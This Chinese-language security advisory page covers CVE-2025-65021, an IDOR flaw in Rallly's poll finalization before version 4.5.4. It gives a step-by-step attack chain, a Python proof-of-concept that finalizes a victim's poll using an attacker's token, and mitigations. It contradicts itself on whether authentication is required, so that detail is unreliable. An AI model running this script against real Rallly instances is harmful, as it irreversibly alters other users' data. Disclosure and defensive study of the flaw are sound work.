IPBUF安全漏洞报告
English
CVE-2025-65021 CVSS 9.1 严重

CVE-2025-65021: Rallly投票最终化功能IDOR漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-65021
漏洞类型
IDOR(不安全的直接对象引用)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Rallly

相关标签

IDORRalllyCVE-2025-65021访问控制投票系统权限绕过CRITICAL

漏洞概述

Rallly是一款开源的日程安排和协作工具。在4.5.4之前的版本中,其投票最终化功能存在严重的不安全直接对象引用(IDOR)漏洞。由于应用程序在处理投票最终化请求时缺乏对资源所有权的正确验证,攻击者可以通过操纵请求中的pollId参数,在未经授权的情况下最终化任意其他用户的投票。被最终化的投票会自动转换为事件,可能导致用户工作流程中断、数据完整性受损以及隐私信息泄露。该漏洞CVSS评分高达9.1,属于严重级别,对应用程序的完整性和可用性造成严重影响。漏洞已于版本4.5.4中修复,建议所有用户立即升级。

技术细节

该IDOR漏洞存在于Rallly应用的投票最终化API端点中。当用户请求最终化某个投票时,后端程序仅根据请求中提交的pollId参数执行操作,而未验证当前认证用户是否为该投票的合法所有者。攻击者只需拥有一个有效的Rallly账户,即可构造恶意请求,将任意其他用户的投票ID作为参数传递,从而触发最终化操作。

漏洞利用过程:首先,攻击者登录Rallly平台并访问自己的投票页面;然后,通过拦截HTTP请求或直接构造请求,将目标投票的pollId替换到最终化接口的参数中;最后,服务器在收到请求后直接执行最终化逻辑,将受害者投票转换为事件。

由于投票最终化是不可逆操作,一旦投票被最终化,其原始数据将被修改或删除,导致原始投票者无法访问其投票记录。此外,攻击者可以将多个投票批量最终化,造成大规模服务中断。该漏洞的利用无需特殊权限,普通认证用户即可实施攻击。

攻击链分析

STEP 1
步骤1
攻击者注册并登录Rallly平台,获取有效的认证令牌
STEP 2
步骤2
攻击者通过信息收集获取目标用户的投票ID(如通过社会工程、钓鱼或其他方式)
STEP 3
步骤3
攻击者拦截自己的投票最终化请求,修改pollId参数为目标投票ID
STEP 4
步骤4
攻击者发送修改后的请求到服务器,服务器因缺少所有权验证而执行最终化操作
STEP 5
步骤5
目标用户的投票被不可逆地转换为事件,导致原始投票数据丢失或被修改
STEP 6
步骤6
攻击者可批量自动化此过程,对多个用户造成大规模服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-65021 PoC - Rallly IDOR in Poll Finalization # Target: Rallly < 4.5.4 TARGET_URL = "https://your-rallly-instance.com" ATTACKER_TOKEN = "your-auth-token" def exploit_idor(target_poll_id): """ Exploit IDOR vulnerability in Rallly poll finalization. Replace TARGET_POLL_ID with the victim's poll ID. """ endpoint = f"{TARGET_URL}/api/polls/{target_poll_id}/finalize" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } payload = { "pollId": target_poll_id, "action": "finalize" } try: response = requests.post(endpoint, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully finalized poll: {target_poll_id}") print(f"[+] Response: {response.json()}") else: print(f"[-] Failed with status: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error: {str(e)}") def get_victim_poll_id(): """ Enumerate accessible poll IDs through API or page scraping. """ # Implementation depends on target environment pass if __name__ == "__main__": # Replace with target poll ID victim_poll = "VICTIM_POLL_ID_HERE" exploit_idor(victim_poll)

影响范围

Rallly < 4.5.4

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制投票最终化功能的访问权限,仅允许管理员操作;2)启用请求速率限制防止自动化攻击;3)监控异常投票最终化行为并设置告警;4)定期备份投票数据以便恢复。但最有效的解决方案仍是尽快升级到4.5.4版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表